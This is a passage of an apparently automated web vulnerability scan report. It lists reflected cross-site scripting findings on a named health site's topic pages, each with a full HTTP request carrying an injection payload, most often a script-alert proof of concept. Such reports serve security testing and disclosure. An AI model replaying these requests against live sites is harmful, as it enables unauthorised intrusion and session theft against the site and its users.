User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:48 GMT
Date: Thu, 10 Mar 2011 17:07:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 36658

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/acid-reflux?223a1"><script>alert(1)</script>233aedc0649=1" title="Register" class="moreLink">
...[SNIP]...

2.269. http://www.rodale.com/topic/addadhd [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/addadhd

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eef0"><a>b90f1b858ab was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1eef0"><a>b90f1b858ab/addadhd HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:50 GMT
Date: Thu, 10 Mar 2011 17:07:50 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1eef0"><a>b90f1b858ab topic1eef0">
...[SNIP]...

2.270. http://www.rodale.com/topic/addadhd [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/addadhd

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfa5e"><a>4237fa9d3d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/addadhddfa5e"><a>4237fa9d3d2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:34 GMT
Date: Thu, 10 Mar 2011 17:08:34 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-addadhddfa5e"><a>4237fa9d3d2 node node-958">
...[SNIP]...

2.271. http://www.rodale.com/topic/addadhd [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/addadhd

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9f42"><script>alert(1)</script>f5db812e085 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/addadhd?f9f42"><script>alert(1)</script>f5db812e085=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:48 GMT
Date: Thu, 10 Mar 2011 17:07:48 GMT
Content-Length: 31964
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/addadhd?f9f42"><script>alert(1)</script>f5db812e085=1" title="Register" class="moreLink">
...[SNIP]...

2.272. http://www.rodale.com/topic/aging [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/aging

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e52e4"><a>98bcd99d217 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topice52e4"><a>98bcd99d217/aging HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:57 GMT
Date: Thu, 10 Mar 2011 17:07:57 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topice52e4"><a>98bcd99d217 topice52e4">
...[SNIP]...

2.273. http://www.rodale.com/topic/aging [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/aging

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de685"><a>01fabaf3353 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/agingde685"><a>01fabaf3353 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:33 GMT
Date: Thu, 10 Mar 2011 17:08:33 GMT
Content-Length: 22465
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-agingde685"><a>01fabaf3353 node node-958">
...[SNIP]...

2.274. http://www.rodale.com/topic/aging [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/aging

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d38be"><script>alert(1)</script>a919aaa6805 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/aging?d38be"><script>alert(1)</script>a919aaa6805=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:55 GMT
Date: Thu, 10 Mar 2011 17:07:55 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33722

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/aging?d38be"><script>alert(1)</script>a919aaa6805=1" title="Register" class="moreLink">
...[SNIP]...

2.275. http://www.rodale.com/topic/air-pollution-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/air-pollution-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5dfdb"><a>48a2cb1bf66 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5dfdb"><a>48a2cb1bf66/air-pollution-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:59 GMT
Date: Thu, 10 Mar 2011 17:07:59 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5dfdb"><a>48a2cb1bf66 topic5dfdb">
...[SNIP]...

2.276. http://www.rodale.com/topic/air-pollution-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/air-pollution-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47b6d"><a>7de3e24b041 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/air-pollution-047b6d"><a>7de3e24b041 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:38:39 GMT
Date: Thu, 10 Mar 2011 17:08:40 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-air-pollution-047b6d"><a>7de3e24b041 node node-958">
...[SNIP]...

2.277. http://www.rodale.com/topic/air-pollution-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/air-pollution-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 237e5"><script>alert(1)</script>958ba8b01eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/air-pollution-0?237e5"><script>alert(1)</script>958ba8b01eb=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:56 GMT
Date: Thu, 10 Mar 2011 17:07:56 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34446

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/air-pollution-0?237e5"><script>alert(1)</script>958ba8b01eb=1" title="Register" class="moreLink">
...[SNIP]...

2.278. http://www.rodale.com/topic/alcohol [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/alcohol

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed6a2"><a>2d853c3f67f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiced6a2"><a>2d853c3f67f/alcohol HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:02 GMT
Date: Thu, 10 Mar 2011 17:08:02 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiced6a2"><a>2d853c3f67f topiced6a2">
...[SNIP]...

2.279. http://www.rodale.com/topic/alcohol [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/alcohol

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3412b"><a>240f9caf22f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/alcohol3412b"><a>240f9caf22f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:39 GMT
Date: Thu, 10 Mar 2011 17:08:39 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-alcohol3412b"><a>240f9caf22f node node-958">
...[SNIP]...

2.280. http://www.rodale.com/topic/alcohol [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/alcohol

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5ce4"><script>alert(1)</script>054a047ad50 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/alcohol?b5ce4"><script>alert(1)</script>054a047ad50=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:58 GMT
Date: Thu, 10 Mar 2011 17:07:58 GMT
Content-Length: 30927
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/alcohol?b5ce4"><script>alert(1)</script>054a047ad50=1" title="Register" class="moreLink">
...[SNIP]...

2.281. http://www.rodale.com/topic/allergies [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/allergies

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96df6"><a>322b8a5fe66 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic96df6"><a>322b8a5fe66/allergies HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:02 GMT
Date: Thu, 10 Mar 2011 17:08:02 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic96df6"><a>322b8a5fe66 topic96df6">
...[SNIP]...

2.282. http://www.rodale.com/topic/allergies [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/allergies

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c45ce"><a>759c8eb8025 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/allergiesc45ce"><a>759c8eb8025 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:52 GMT
Date: Thu, 10 Mar 2011 17:08:52 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-allergiesc45ce"><a>759c8eb8025 node node-958">
...[SNIP]...

2.283. http://www.rodale.com/topic/allergies [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/allergies

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3583d"><script>alert(1)</script>b8078393ccc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/allergies?3583d"><script>alert(1)</script>b8078393ccc=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:59 GMT
Date: Thu, 10 Mar 2011 17:08:00 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34685

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/allergies?3583d"><script>alert(1)</script>b8078393ccc=1" title="Register" class="moreLink">
...[SNIP]...

2.284. http://www.rodale.com/topic/alternative-medicine [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/alternative-medicine

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb628"><a>9ca9df916a0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiceb628"><a>9ca9df916a0/alternative-medicine HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:04 GMT
Date: Thu, 10 Mar 2011 17:08:04 GMT
Content-Length: 22531
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiceb628"><a>9ca9df916a0 topiceb628">
...[SNIP]...

2.285. http://www.rodale.com/topic/alternative-medicine [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/alternative-medicine

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5973"><a>f844971958f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/alternative-medicinec5973"><a>f844971958f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:37 GMT
Date: Thu, 10 Mar 2011 17:08:37 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-alternative-medicinec5973"><a>f844971958f node node-958">
...[SNIP]...

2.286. http://www.rodale.com/topic/alternative-medicine [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
